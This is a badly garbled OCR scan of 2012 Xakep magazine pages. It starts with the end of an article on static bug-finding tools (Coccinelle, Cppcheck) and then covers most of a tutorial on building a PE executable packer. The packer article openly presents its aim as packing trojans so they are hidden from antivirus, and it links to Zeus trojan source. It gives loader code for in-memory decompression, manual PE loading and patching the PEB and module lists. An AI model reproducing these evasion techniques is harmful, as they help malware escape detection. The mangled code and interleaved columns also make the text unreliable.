В нашем случае spatch нужно запускать так:

spatch - sp_file notand.cocci notand.c

Перейдем к другим возможностям языка SmPL и напишем

патч, который будет в первом приближении [очень грубомl На выходе получаем:

отыскивать ошибки утечки памяти. Будем отслеживать такую

ситуацию . Пусть функция ти п а malloc выделяет память, которая

HANDL I NG:

diff

поt апd.с

=

--- notan d. c +++ /tmр/соссi-оutрut - 3829 - аfббfа-поtапd.с @@ - 2,7 +2,7 @@ int main() {

092

сохраняется в переменноЙ-указателе. Дальше идет стандартная

проверка, что указатель не равен нулю [памя т ь успешно выде­

ленаl . Потом идет какой-нибудь хитрый код, который реализу­ ет логику, не связанную с нашим указателем . Этот код может описывать разные процедуры проверки, приводящие к выходу

ИЗ функции. Память при этом освободить забывают, в результате

ХАКЕР

02/157/2012


Ищем ошибки в программах на С!С++

чего получается утечка . В коде

Linu x насчитывалось 13

ошибок

IQuick Filter'

такого типа Ibit .ly/d1ggI6 ). Патч, устраняющий ошибку утечки памяти :

File

Summary

Severity line

c!assleak.cc О classleak.cc

@leak@ type Т;

7

егго г

Ме то гу leak: Newbi e::resource

Т* х;

statement; 5; idеп1;iJiег а=-» , *.".110с$ » ;

.

@@

*

= а( ... );

х

S u mmaгy: метогу leak: Newble::resource Message: Memory leak: Newbie::resource

== NULL) 5 ••• w.hen ! = х * геtчтп

if

Результат работы

Cppcheck

в разделе описания переменны х , кроме всего прочего, задается

п е ременная а, которая успешно сопоставляет с я с любым ид е н­ т иф и катором , оканчивающимся на

alloc. Мы

sizeof(pointer); Ix&y; .

можем использовать

ре г улярные выражения , чтобы конкретизировать вид конструкций ,

утечки памяти;

ко т о рые мы хотим найти.

неиспольэуемые переменные.

Разбер ё м подробнее раздел , задающий преобразования кода. Достаточно натравить *х=а(

coccicheck

на интересующий тебя проект,

и он проверит его на вышеперечисленные ошибки (вернее ,

• •• );

на шаблоны в коде, которые на них очень похожи). ме нты нужно добавить или

«+» И « », чтобы указать, какие зле­ удалить. Символ «*» используется для

п о ис к а. Многоточие сопоставляется произвольному коду. Если код

ошибок в нескольких версиях программы. П ри этом он собирает интересную статистику и может строить графики .

должен удовлетворять ряду ограничений, то следует воспользо­

вать с я ключевым словом

when:

Coccicheck

лежит в директории scripts/ проекта coccine lle. Herodotos (bit.ly/vrmt8v) позволяет проследить эволюцию

Раньше мы использовали

Coccigrep (bit.ly/gxM9nd ) -

это « семантический

grep» для С. Он

может искать в программе заданные структуры или переменные

. .. wQen ! =

х

.

• З десь мы говорим , что хотим любой код, в котором не содержит­

(как и DXR) . Spdiff Ibit .ly/rLhp7P) - это « семантический diff», то есть инстру­ мент для автоматического выявления изменений в программе .

ся х ( при этом вид х определяется ранее) .

Звучит очень круто, но работает он только в лабораторных

После применения патча к тестовому коду получаем следующий

условиях.

diff: Coccinelle переводится с франц у зского как « божья коровка » (bug that eats another bugs) . Документация на « коровку » довольна разрозненная, поэтому, чтобы понять , как писать на SmPL, при­

diff --- leak.c +++ /1;тр! cocci.-o.utput - 11639 -4с48dS -leak. с @@ -2,12 +2,18 @@ iпtmаiл(iпt argc, char* ~ .i!rgv) { . char * рагат; __ . раГё!11) = mаЦ,gц25i7); .... if ..(рагат == .. NULL) { return 1;

дется пройти небольшой квест. Но оно того стоит. В пользу этого

говорит хотя бы количество багов, найденных в коде по

Linux [судя

bit.ly/dlggI6 , оно достигает нескольких сотен) .

ЗАКЛЮЧЕНИЕ Итак, каковы общие рекомендации по поиску ошибок с помощью ин с трументов для статического анализа? Первым делом проверь свой код при максимальном уровне предупреждений компилятора

(то есть указывай не только

if (argc< 2) { return 1; } j [ ..., . .

-Wall) . По возможности лучше ис­

пользовать для проверки несколько компиляторов (например,

intel, clang). Далее в с ё зависит от языка. Если это С++, то выбор бесплат­ ных инструментов достаточно ограничен (С++ тяжело разбирать;

using .p<lr"m

fr.e.!~(param); ...

вероятно, ситуацию улучшит возможность писать плагины для

re,t.urn 8;

GCC). Определенно стоит попробовать Cppcheck, который особенно х орошо на х одит утечки памяти. ДЛЯ С++ также есть Dehydra, но для

Минусы эдесь служат только для выделения участков кода, кото­

чистого С ситуация получше . Есть отличный инструмент

нее, скорее всего , придется писать проверки самостоятельно . Для

рые нас интересовали в патче (там мы отмечали и х символом

SmPL

«*»).

имеет много других интересны х возможностей, напри­

есть

Frama-C.

Coccinelle,

Они умеют находить определенные типы утечек

памяти , вы х одов эа границу и прочие ужасы. Однако для поиска

мер, позволяет задавать зависимости между правилами (применяй такое-то правило, только если выполнено такое-то), обеспечивает

нетривиальны х ошибок недостаточно просто натравить на код эти

интеграцию с

для статического анализа). Нужно либо писать свои проверки,

Python

и т. д. Более подробно о них можно узнать

на официальном сайте coccinelle (bit.ly/1Z3wXP ). Также на основе

coccinelle создано

Coccicheck содержит

несколько других программ.

набор готовых правил, которые ищут сле­

дующие популярные ошибки:

ХАКЕР

02 / 157/2012

либо специальным обра з ом настраивать сам анализатор. С другой стороны, опыт статического анализа показывает, что наиболее часто встречаются именно тривиальные ошибки, которые успешно отлавливают инструменты статического анализа

« из коробки » . Поэтому проверить свой код статическим анализато­

разыменование нулевого указателя;

сравнение указателя с нулем вместо

инструменты (как и большинство других продвинутых программ

NULL;

ром

-

это х орошая идея.

::J:

093


КОДИНГ

PeterandtheWolf

Исходный код и бинарники к этой статье ищи на нашем

функции

После выполнения

DVD.

в эагруэчике

LoadExecutabIe неплохо было бы освободить память, выделенную ДЛЯ распаковки,

-

нам больше не пригодится.

~-паке-РАЗРАБАТЫВАЕМ

свой УПАКОВЩИК ИСПОЛНЯЕМЫХ

ФАЙЛОВ

Мы с Волком давно заметили, что разработка РЕ-пакеров, крипторов и навесных защит­ это почему-то удел немногих. Самого разного

рода троянов в инете целая куча, а софта для упаковки и скрытия от антивирусов кот

наплакал . При том, что код-то там несложный, просто сорцов в паблике, от которых можно

было бы отталкиваться при разработке своего стаффа, как-то не наблюдается. Мы решили

исправить эту досадную ситуацию. Сейчас мы расскажем, как написать свой несложный упаковщик исполняемых файлов и научить его паре дерзких приемов.

авным-давном, когда

Windows

хр еще не было , в поисках

информации о пакерах мы с Волком забирались в самые дебри исходников тогда еще молодого

UPX.

НО то ли аце­

тилхолина у нас в мозгах синтезировалось меньше нужного, то ли

UPX уже

тогда был очень занудным

-

в общем, мы почти ничего из

тех сорцов не извлекли. Мэтт Питрек, и тот помог больше . Сейчас

с инфой значительно проще стало. Почти всё есть. Даже сорцы

вполне себе нормального банковского троя можно скачать IZeus 2.0.8.9, bit.ly/v3EiYPI. Да чего уж там, сорцы винды уже давно в паблике IWiпdоws 2000, bit.ly/rBZICyl. Об упаковщиках информация тоже есть, но в основном ис­

следовательская, непосредственно разработки касающаяся не с той стороны , с которой нам бы хотелось. Отличным примером тому

является статья « Об упаковщиках в последний раз » Ibit.ly/vRPCxZ,

О"

она


HOW-TO:

РЕ-па кер

> _· ..... _ .1.000 .· 1_ 1_ J ...I_, 1,( .1.. _ _ . ........ ""' ........ " " . _ , '-'

С

____

-А_

.

_",-" _· __ Wl,

C_.-"""AJIМO-c_.

.'1-· ...·.-...1 .' 8-11 _,,,,,_' <1'1111 _

'" ~~(

.... . _

••

r-J_.(II8.I I .С _ J_·

..... _

' _· ........ Iм ' ........ _ ..ц

_

.. }(

...l j,

....._...,MW),

:;,,~~:..-:-{::Oj ===:i"~~:=~~ ..;:.j~.I

Создание хедера с помощью

КУСОК кода парсера таБЛИЦbl импорта

bin2h можно автоматизировать

Ыt.lуLtSUхТ7 ! в двух частях, написанная небезызвестными гуру

Volodya

и

NЕОх.

поиска эависят от того, как упаковщик имплантировал этот массив в загрузчик.

Например, если бы он просто добавил новую секцию с данными,

Мы, в свою очередь, постараемся максимально конкретно и по­ следовательно дать информацию именно о разработке простейше­

то поиск выглядел бы так :

го, но легко модифицируемого под любые свои ну жды РЕ-пакера. П9ИСК СЖiпgго 09p,iI;!a в IJQследнеЙ. секци.!!

АЛГОРИТМ Вот есть у нас, например,

1/ notepad.exe. В 60 Кб. Мы

ном виде он весит где-нибудь

...

Получа.ем аДРеС начал" PE-З"Г.Qловка...з.агрузч.ика в П"МflТИ

обычном своем 32-бит­

HMODUL.E.. hModule",.

хотим его существен-

PlМAGE_QQS_HEADERpDosHeader

GеtМоdulеНалdJе (NUL.L)~

Какими должны быть наши действия? Ну, для начала мы наш

= .. (PlМAGE_DQS_HEA!IER) hMo.Q.y}e; PIMAGE_NJ_HEADERS. pNTHea.ders = .. MakePtp(PIM/IG.E_NT_HEADERS, hMogule, pD.QsHeaderc>e_l f,щеw);

файлик от первого до последнего байтика прочтем в массив.

РIМАGЕ_SЕС;ПОN_НЕАDЕR р,sесtiопs . =

но уменьшить, сохранив при этом всю его функциональность.

Теперь мы можем делать с ним всё что угодно. А нам угодно его

IMAGEJIRST_SЕСПОN( p-t.JТНеаdеJ"S);

с жать . Берем его и отдаем какому-нибудь простому компрессору,

и Структура,

в результате чего получаем массив уже не в

загрузчика

в

20

60

Кб, а, например,

Кб. Это круто, но в сжатом виде образ нашего « Блокнота»­

это просто набор байтов с высокой энтропией, это не экзешник, и

ОIJ.ИСblваЮЩ<jЯ ПЩ!lеднюю секцию нашего .

PJt-1AGЕ_SЕСПОN_НЕАDЕRРLi!StSесtigп = ... &рSесtiопs [pNTJ!eaqerS.7.?FiletJei!d.e r. NLJml:1erOfSecJions -...11;

его нельзя запустить, записав в файл и кликнув. Для массива со

сжатым образом нам нужен носитель [загрузчикl, очень малень­ кий исполняемый файл, к которому мы прицепим наш массив и который его разожмет и за пустит. Пишем носитель, компилируем, а затем дописываем к нему в конец наш сжатый «Блокнот». Со­ ответственно, если полученный в результате всех действий файл

.наЙдеННblЙ.. образ .... PQPi!ckedIl!1age ."'...~.a.kePt.rCLPE!YT.E,...bMQdul!~, . .. рLаst,5J!сtiоп-..>V;irtUillAddrеs~); I L. .. Ero р"эмер QWORD dWl"ackedImageSize = рLаs:t.Sесt.iQл с >SizеQfRаwQа:t.iI~

/.l

Собст:венно~

"РВУТЕ

[размер которого немного больше, чем у просто сжатого «Блокно­

та » lзапустить, он найдет в себе упакованный образ, распакует,

Но, на наш с Волком взгляд, этим кодом в загрузчике можно пожертвовать. Вообще, всё, что может сдела ть упаковщик, пусть

распарсит его структуру и запустит.

Как видишь, нам предстоит автоматизировать не слишком

сложный процесс. Нужно будет просто написать две программы, загрузчик и, собственно, упаковщик.

он и только он и делает. Адрес образа в адресном пространстве за­ грузчика можно вычислить заранее, при упаковке, а потом просто

вписать в нужное место. Для этого оставляем в нашей программе

Алгоритм работы упаковщика:

две метки:

считать РЕ-файл в массив; сжать массив каким-нибудь алгоритмом сжатия без потерь;

LPBYТE р.QрасkеdI[Паgе

в соответствии с форматом РЕ дописать сжатый массив к

DWORD

=

(J.PBYТE) ~xDEAD.6.~EF ;

dIYPackedlm.<jgeSi.~.e... =

exBEJ;f<::ACE ; ....

шаблону-загрузч ику. Когда упаковщик будет имплантировать в загрузчик массив со Алгоритм работы загрузчика:

сжатым образом, он пройдется сигнатурным поиском по телу за­

найти в конце себя массив со сжатым РЕ-файлом;

гр узчика и заменит

разжать его;

-

распарсить заголовки РЕ-файла, расставить все права, выде­

OxDEADBEEF на

адрес массива, а

OxBEEFCACE

на его размер.

Теперь, когда мы определились, как искать адрес, можно вы­ брать готовую реализацию алгоритма сжатия для использования в

лить память и в итоге запустить.

нашем упаковщике.

Начнем разработку с загрузчика, так как именно им впослед­

Неплохой вариант -

использовать

aplib [www.ibse nsoftware .

сот !, маленькую библиотеку с аккуратным и очень компактным

ствии будет манипулировать упаковщик .

кодом, реализующую сжатие на базе алгоритма Лемпеля-Зива

ЗАГРУЗЧИК Итак, первое, что должен сделать наш загрузчик,

-

это найти в

своем теле адрес массива со сжатым образом РЕ-файла. Способы

ХАКЕР

02/157/2 01 2

[LZ!.

И мы обязательно его выбрал~ бы в любой др у гой день, однако сегодня у нас настроение для еще более простого и компактного решения

-

встроенных в

Windows

функций!

095


кодинг

Начиная с ХР, наша любимая

ntdll .dll

начала экспортировать две

fL. .. f'.<!!;л<!КQ.I;I!>I.I;I<!.I!! ..................................._....................._........................ .............

прекрасные функции:

~НQе.сQ.I!lрпs~.6у.ff.еr..(с.Q!1"-R.Еs.5.IQN_ЕQR!1А:с.~(;Nл,................................

NI,$ЛШ,J.$...R:tJJ~.Q!!Iрг.~~.~fj.Уf.f~.r.( ..........................................................................

...... R-рJm.<lg~.,....gwJm.<!gй~mR$J;;:.е., .................................... ........ P..QP.iI!;.~e9.Imi!ge.~ ... P.W".<!!;.K~.cjIl1!qge..$.;j,.?;~., .... ... МI1iImi!g~.5.;j,д).;. .........................................

.... _~-'J. ....... !J.sl:I.QJП...сQ-'JJр.r~.~~JQлf'.Qгm<!.tМр.Е.пg~л~~ .................................... ..... _з,п ....... Р.J,J.сJ:!Ав... J,Jдс.Qmрг.е.~.~~.c;J6.Уf.f~.r , ....................................... .... _~л ......J.!!.QN.G.. 1Jдс.Qmр.r.~.~.~.~g.еуff~.r5J~.~, .............................. .... _ QJ.l1; ..... Р.щ:J:!АR ...сQ-'!!R-r~.~~.е.!шу.ff~.r~ ........................................ ..... _tn ..... LI.~QN.G .. сQЛ!р.r~.~~~g.е.ч.ff.е.r.5.~.<:.е~ ........................._ ..................... .... _j,л ........I..!!.QNG...l..!n.с.Q!!Iрг.~~.~е.gс.Ь!JJ1~.$.i.<:е,................................................ .... _Qуt ....1'.I..!!.QNG .. .Еj,JJ.<!J.СQmр.r.е.~ .~.~9.$.tl-е., .................................................... ....._j,л ..... Р.I,I.Q;J;I1 ...wшk.$.рiК~ ...................................................................... )..;......................................_...................•..............•......................................... NI5.T,;IJ.J.S.. .R:t.],P.e.c.Q!!Ipr.~~~6.yf.fe.r.c. ......................................._. ............... _ .. ....._;iл ....... !J.sI:IQRI...сQлJR-r.~.~.~J Qлf.Qг.m<!.t, ................................. .... _Qу.t .. -.!'lю:tА.R. ..I..![].с.Qmр.r.~.~.~~g.е.уf.f~.r , ........................................... ..... _.:i.л ..... I..!!.QNG...I..!О'с.QmR-r~.~.:;.еg.е.уff.еr.,$J.~.~~_............................._ ..... _ ..... . .. _iп .. J'I,КН8К ..сQл!р.rе.~~.~gI\!J.ff.еr:J......................................................... .. _iп .... I..!~.QN.G...CQroP.r~.~.~.~gI!!J.ff~r.S j,.ze, ...................................................... ... _Q.y:t .. J)u.kQNG.. J Jл.<l.ш!КQ!!Iрг.~.~.~е.g,$J~.~ .................................................

_

}; ........ - ......................................................................................... .........•.. ... _

Названия их говорят сами за себя

_

-

одна функция для ком­

Пара метр

COMPRESSIONJORMAT_ LZNT1

означает, что мы

хотим использовать классическое LZ-сжатие. Функция умеет

сжимать и другими алгоритмами [bit .ly/sV9SVu ), но нам хватит и этого .

Теперь у нас в памяти [pbImagel есть сырой образ РЕ-файла . Чтобы его запустить, нужно провести ряд манипуляций , которые обычно делает нативны й РЕ-загрузчик

Windows.

Мы сократим

список до самых-самы х необходимых :

1. Разместить начало образа [хедеры) по адресу, указанному в поле Image Base опционального заголовка [OPTIONAL_ HEADERI . 2. Разместить секции РЕ-файла по адресам, указанным в табли­ це секций . з. Распарсить таблицу импорта , найти все адреса функций и вписать в соответствующие им ячейки.

Естественно , стандартный РЕ-загрузчик выполняет целую

прессии, другая для декомпрессии . Конечно , если бы мы разра­

кучу других действий, и тем , что мы их отметаем, мы огра­

батывали действительно серьезный продукт, мы бы эти функции

ничиваем совместимость нашего упаковщика с некоторыми

не трогали, ведь остались еще компьютеры и с

Windows 2000, и даже с NT 4.0 ;), но для наших скромны х целей RtlCompressBuffer\ RtlDecompressBuffer вполне подойдут. В х едера х Platform SDK этих функций нет, статически мы и х

РЕ - файлами. Но для абсолютного большинства хватит и эти х действий

-

можно не фиксить релоки , фиксапы и прочую редкую

и противную фигню . Если вдруг тебе захочется серьезной совместимости, ты или

прилинковать не сможем, поэтому придется воспользоваться

сам напишешь крутой РЕ-лоадер , или найдешь в Сети наибо-

GetProcAddress:

лее полную его реализацию

-

нам с Волком было лень писать

свою, и мы воспользовались трудами gr8 из hellknights Qпр.~деl!.~Н.I!~...<!др.е.!;.ё;!... фу!:l.[';цl!lI... дl!II .. Р..i!~.П<!1.(9.1;I[';.1! .....................

11 .. QП~.с~IВа~~_ .. !J.~Р..~~.~Н.I:I.}I!!!.J~.tJ.Dе.срлlрr:е.~sВ!J.ff~г.. 'Пш.i! ................... «фунКц."'я ...с ...ще.с:г.~!9... !J.i!р.i!~.~I.P.<!МI! »................................................................ QW.QI1Q... (_~.tgc.<lJl ...·.R:tJQ.~!;.Q!!Ipr.~:;.~fj.yf.fe.r. } ................................................ .. .. .( .1) !,QN.G.JР'\(QЩ,ш'QNG,l'.\(9.IР.,J,J.!.9.NG.,. РJ.!.~.QN.G ).;..................................

[.bl1JyL

tc65cB ) выкинув из нее всё, что не поняли;l. Даже в урезанном виде функция РЕ-лоадера - это строчек сто, не меньше, поэтому здесь мы при ведем только ее прототип [полный код лежит на диске): tit19.Р.J.!!.I ...kР.i!9J.J.<.ещt.<l.RJе....( ~Р..еуп .. Jl)lj!ge., ......................................•....

1/.. Пр"'с;~.i!!Н!ё;I.~~.. J~.Й. ...ё;!АРе.с....R:tlР.е!;Qroр.r:~.~~.Е!J.I.ff.~г... ~..л.tg.ц.,gJJ...... . сЕ/J.~РRQс&J.RtlQ~шmр.r.е.~~I\!J.ffеr...,...G.е1;J' r. Q.сМg.се.~.~. ( ....................... .~Q<lcjL.j,.Qr..<I.су.( .':л:t.g1:). .•.g1:).::J., ... : 'R:tJQ~!;Q.roр.r~~~.6.1).ff~r.::. J; ..........

.....QWQ.RP..*. .. Mg.r.e.~:i.QHJJ.1;rye9.iJJ.t} ........................................................._ Она принимает указатель на наш распакованный образ и

возвращает дескриптор загруженного модуля [эквивалент Когда есть чем распаковать и есть что распаковать, можно уже,

наконец, это сделать. Для этого мы выделим память с запасом [так как не знаем объем распакованного файла) и запустим определен­

адреса, по которому загружен РЕ-файлl и адрес точки входа [по указателю АddгеssОfЕпtгуРоiпtl . Эта функция делает всё , чтобы правильно разместить образ в памяти, но не всё, чтобы можно

ную выше функцию :

было, наконец, передать туда управление .

QwQJ.ш... cj.wIm.<lg~.$.Jи .,....!:!.;.....................................................................................

груженном нами модуле. Если мы прямо сейчас вызовем точку

Dw.QRD ..ф~~!!Ii!gеI~!!IрsJ~.~ ...=....QwР.i!.с.kеg~.roаЕ.еsJ.!!:е..:'.. JS; ........................ f/ .. Вы.д.еляю Пё;lМЮ;f>.. ЛШ)'... Р.'КI]ё;!1.фванн.ыЙ . QQраз....................................... !.PVOJ:Q R-РII1!.аg.е ...:=... Уir.tJ.l.i!JА!JQ.с ( .. t-jU ~J" , ... gw;J;.I!li!g~J~mp,$J.<:~~. .... _!1~!1_с.Qt1!'1П, .Р.АGсR~АQwRл.Е . 1; ...... .....................................

в х ода , с которой сжатая программа начнет выполнение , то может

Дело в том , что система по-прежнему ничего не знает о за­

возникнуть ряд проблем . Работать программа будет, но криво .

Например,

Base

GetModuleHandle[NULL) будет возвращать Image

модуля загрузчика, а не распакованной программы . Функ­

ции FiпdRеsоuгсе и

LoadResource

будут рыться в нашем загруз­

чике, в котором никаких ресур с ов нет и в помине. Могут быть и более специфические глюки . Чтобы всего этого не проис х одило ,

ДЛЯ СЖАТИЯ УДО&НО &ЫЛО БЫ.

нужно в системных структурах процесса по возможности везде

ИСПОЛЬЗОВАТЬ МАЛЮСЕНЬКУЮ

адреса загруженного модуля.

&И&ЛИОТЕКУ APLIB, НО МЫ ПОСТУПИЛИ ПРОЩЕ И ЗАЮЗАЛИ ВСТРОЕННЫЕ В

ВИНДУ ФУНКЦИИ 096

обновить информацию, заменив адреса модуля загрузчика на

В первую очередь нужно пофиксить РЕВ [Process Enviroment Block), в котором указан старый Image Base . Адрес РЕВ очень легко получить, в юзермоде он всегда лежит по смещению О х3 0 в сегменте

FS.

P.J>J;.6.J)~.Q; ...............................................................

_<! .~.I!l ...{ ...

...........~ .............................................. . ............... R-y:i.b...e.i!.'-'- ............................................................................................ ...................mQу...~.<I.'-'- , ... f.$. .;I!:!х2.е. ] ; ............................. _............................. ........

ХАКЕР

02/157/20 12


HOW-TO:

1313131273 1313131276 1313131277 1313131278 1313131270 1313131282 131301288 1313131289 1зее128F

1313131291 1313131296 1зе0129В

1313131290 1зее129F 1зе1312А6 1зее12АС 1зе012АЕ 1зее12В1 1313е12В2 1зее12В7 131313 12ВС 1зее12С1 1зее12С2 13131312С4 13131312С6 1зее12С9 1зее12СА 1зе1312СВ

13131312013 1313131203 1313131208 1313131200

13130120Е 13131312Е13 13131312Е6 13131312Е8 13131312ЕА 13131312ЕВ

13131312Fl 13131312F4 13131312F5 13131312F8 13131312FB lЭ131312FЕ

13131313131 13131313134 13131313137 13131313139

8ВЕС 83ЕС 13С

EBP.ESP SUB ESP.13C PUSH ESI PUSH ЕОI PrOCNar1eorord [па I = "Rt lDecoMPressBuffer" PUSH tеst.1эе131132С PUSH test.131313113213 = "ntdll.dll" ( FileNaMe CRLL OWORO PTR OS:[(&KERNEL32.LoadLi LoadLibraryR [ hModule PUSH ЕАХ CRLL OWORO PTR ОS:[(&КЕRNЕLЭ2.Gеt GetProcRddress protect = PRGE-RERDWRITE PUSH 4 AllocationType = MEМLCOMMIT PUSH 1131313 Si2e = 31313СЕ212 (81361513674.) PUSH 31313СЕ212 Addr.ess = NULL PUSH 13 MOV EOI.ERX [ MOV OWORO PTR SS:[EBP-4J.13 CRLL OWORO PTR OS:[<&KERNEL32.VirtuaIRI VirtualRlloc MOV ESI.ERX LER ERX.OWORO PTR SS:[EBP-4J PUSH ЕАХ PUSH 13B34F PUSH tеst.1зе131ЭF8 PUSH 31313СЕ212 PUSH ESI PUSH 2 CALL ЕОI LER ECX.OWORO PTR SS:[EBP-CJ PUSH ЕСХ А Г 92 51 АГ91 PUSH ESI 56 CRLL tеst.1зе13113413 test.1313e1e413 Е8 713FOFFFF АОО ESP.8 8ЭС4 138 FreeType = MEМLRELERSE PUSH 8131313 68 131381313131313 Si2e = эе13СЕ212 (81361513674.) PUSH 31313СЕ212 68 12Е2есз13 Rddress • PUSH ESI 56 [ MOV EOI.ERX 8BF8 FF15 еС11313131 CRLL OWORO PTR OS:[(&KERNEL32.Virtua VirtualFree • 85FF TEST EOI.EOI .у74 28 JE SHORT tеst.1зе131312 PUSH ЕАХ 513 64:А1 3131~13131313( MOV ERX.OWORO PTR FS: [Э13J MOV OWORO PTR SS:[EBP-8J.EAX 8945 РОР ЕАХ 58 MOV EOX.OWORO PTR SS:[EBP-8J 8В55 F8 MOV OWORO PTR OS:[EOX+8J.EOI 897А 138 MOV ERX.OWORO PTR SS:[EBP-8J 8В45 F8 MOV ECX.OWORO PTR OS:[ERX+CJ 8В48 13С MOV EAX.OWORO PTR SS:[EBP-CJ 8В45 F4 OWORO PTR OS:[ECX+CJ 8В51 13С 56 57 68 2С1е131313 68 213113131313 FF15 13411313131 513 FF15 131311313131 6А 134 68 131311313131313 68 12Е213С313 6А 1313 8BF8 С745 FC FF15 13811313131 8BF13 8045 FC 513 68 4FB313131313 68 F81313131Э 68 12Е2есз13 56 6А 132 FF07 8040 F4

133С7

[

1

PTR OS:[EOX+18J.EOI PTR SS:[EBP-CJ.ERX PTR SS:[EBP-CJ

897А 18 8945 F4 FF55 F4

Процесс отладки бажного файла в

OllyDbg Вот теперь можно смело вызывать точку входа загруженно­

J!1QV Р_ер_, _еюс

го модуля. Он будет функционировать так, словно был вызван

__ рор _ e<;l)<

самым обычным образом.

} /j

hf1Qd_u1e_~

_<;IАРе~ .P-il_СПЭt(QваН_1:I9ГО ~ __ за [руже I:IJ:IPT О -'j_<'",и . РЕ_с._

файла

Ре_Ь- ~;r)Паgе_Ваs_еAdQrе_~s. =

}J.t1PQY.le.; .... _..... .

Также не помешает пофиксить списки модулей в структуре

LDR_DATA, на которую ссылается РЕВ. Всего там три списка: • InLoadOrderModuleList - список модулей в порядке загрузки; • InMemoryOrderModuleList - список модулей в порядке рас­

hPVOII>. eГl1;cy .= ДРI(QЩ) {(~BO) hМоQulе...±.. М9геssQf.Елt"Уf'р:!.n:t:}; _ as l!! .. can ..e.t:1t.Cy..;....... _...... . AddressOfEntryPoint -

зто относительный виртуальный

адрес (RVA, Relative Virtual Addressl точки входа, взятый из

optional header в функции LoadE xecutabIe . Для получения абсо­ лютного адреса мы просто прибавили к RVA адрес базы (то есть

свежезагруженного модуляl.

положения в памяти;

РЕ-пакер

InlnitializationOrderModuleList - с писок модулей в порядке

УМЕНЬШЕНИЕ РАЗМЕРА ЗАГРУЗЧИКА

инициализации .

Если наш загрузчик скомпилировать и собрать в Нам надо найти в каждом списке адрес нашего загрузчика и за­

менить его на адрес загруженного модуля . Как-нибудь так:

VS 201 О с

флагами по умолчанию, то мы получим не дв ухкилобайтную программку-носитель , а монстра размером более

10

Кб. Студия

встроит туда целую кучу лишнего, а нам надо всё это оттуда вы­

/I

Первыt1 ._заГРУ)]<ilеI.СВ_. н_аш

MQM/lb, .. TaK _'iI.p

гре сти.

и по . всему Cn~.(KY n'РОХоlI~ТЬ .!jе .. 9б_!l_З.<~Т.е!J.ЬНО

Поэтому в свойствах компиляции проекта эагрузчика [вкладка

Р LQ!U>!<Т~_IAB hЕ_ЕN1ЯУ

(/(++) мы делаем следующее: • В разделе "О птимизация » 'выбираем «Минимальный размер

Rh_QTEJ11,CY_. =._(f'.L_PB_DATА_Т ABLCENTBY) . iJI1Q.dy),e; _... _... __ ........._..

(РеР- ~J9.r:c ?f1.Qdчl.еЦ~tJQiI_Q.Q.r.::d_еr.,J]__ ~JJk1; рLdrJ;лtrу.с. > DЛ!!iI.sе .. 'О.

[J011 », чтобы компилятор старался сделать все функции более компактными.

ХАКЕР

02 / 157/2012

097


кодинг

--------

Всего перечисленного хватит, чтобы получить лоадер размером

ЕСЛИ БЫ МЫ ИСПОЛЬЗОВАЛИ ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ,

ТО НАМ ТАКЖЕ НАДО БЫЛО БЫ ОБЪЕДИНИТЬ С КОДОМ СЕКЦИЮ .ОАТА •

Там же указываем приоритет размера над скоростью (флаг /Osl . В разделе « Создание кода » выключаем исключения С++, мы их не используем.

Проверка переполнения буфера нам тоже не нужна I/GS-I. ЭТО штука хорошая, но не в нашем случае.

в 1,5 Кб.

УПАКОВЩИК Нам остается разработать консольную утилиту, которая будет сжи­

мать отданные ей файлы и при цеплять к лоадеру. Первое, что она должна делать по описанному в начале статьи алгоритму,

Далее наш пакер должен сжать полученный файл . Мы не будем

Отключаем к чертям «Манифест». Он большой, и из-за него в

.rsrc,

которая нам совершенно не

нужна. Вообще, каждая лишняя секция в РЕ-файле -

это мини­

проверять, действительно ли это РЕ-файл, корректные ли у него заголовки и т. п.,

-

всё оставляем на совести пользователя, сразу

сжимаем. Для этого воспользуемся функциями RtlCompressBuffer

мум 512 совершенно ненужных байт, спасибо выравниванию.

и RtIGetCompres·sionWorkSpaceSize. Первую мы уже описали выше

Отключаем создание отладочной информации.

-

Лезем во вкладку « Дополнительно». Выключаем « Внесение

памяти, необходимой для работы сжимающего движка. Будем

случайности в базовый адрес» I!DYNAMICBASE :NOI, иначе лин­ кер создаст секцию релоков I.relocl.

считать, что обе функции мы уже динамически подключили (как и в

она сжимает буфер, вторая же нужна, чтобы вычислить объем

загрузчикеl, остается только их запустить:

Указываем базовый адрес . Выберем какой-нибудь нестандарт­ ный повыше, например Ох02000000. Именно это значение будет

возвращать GеtМоdulеНапdlе(NULLI в загрузчике . Можно его даже за х ардкодить.

это

HANDL'E hFile = CreateFile(argv[ l J, GENERIC_READ., FILE_SHARE_READ, ..NULL, OI'EN_EXISТING, F~LE_ATTRIBUTE_NQRMAL, NULL); DWORD dwImageSize =. GetFileSize(hFile, 0 ); LPBYTE lpImage = new BYTE[dwImageSize], lpCompressed.Image = new BYТE[dwImageSize]; DWORD dwReaded; ReadFile(hFile, lpImage, dwImageSize, &dwReaded, 0 ); CloseHandle{hFileli

в свойствах линкера (компоновщика): загрузчике создается секция

-

считывать файл в массив. Задача, с которой справится и школьник:

Указываем нашу точку входа, а не СRТ-шную: /ЕNТRУ:WiпМаiп. Вообще, мы привыкли это делать директивой pragma прямо из кода , но раз уж залезли в свойства, то можно и тут.

Остальные настройки для линкера задаем непосредственно из кода:

#pragma comment (linker, "/MERGE: . rdata=. text" ) Здесь мы объединили секцию .rdata, в которой содержатся

данные, доступные только для чтения !строки, таблица импорта и т. п.l, с секцией кода .text. Если бы мы использовали глобаль­

DWORD format = COMPRESSION_FORMAT_LZNT~lcOMPRESSION_ENGINE_STANDARD;

DWORD dwCompressedSize, dwBufferWsSize, dw.FragmentWsSize; RtlGetCompressionWorkSpaceSize( fQrmat, &dwBufferWsSize.,. &dwFragmentWsSize); LPBYТE workspace = new ВУТЕ [dwВuffеrWsSЦе]; RtlCompressBuffer(fQrmat, / / тип сжатия и движок lpImage, /1 массив ~Я сжатиЯ dwImageSize, // его размер lpCompressedImage, // буфер ДЛЯ результата dwImageSize, // его размер 4096 , 1/ размер KYCKOB~ не важен &dwCompressedSize~ // указатель наАВОРД .ДЛЯ размера // результата workspace); // буфер ~я работы

ные переменные, то нам также надо было бы объединить с кодом В результате у нас есть сжатый буфер и его размер, можно

секцию .data.

при крутить их к загрузчику . Чтобы это сделать, нужно для начала

#pra.gma comment( linker, "/MERGE: . data=. text" ) / / к .данным из • data нужен доступ на запись~ // а не только на чтение и выполнение #pragma comment(linker~ " /SECТION: • text, EWR" )

скомпилированный код нашего загрузчика встроить в упаковщик.

Самый удобный способ засунуть его в программу -

зто воспользо­

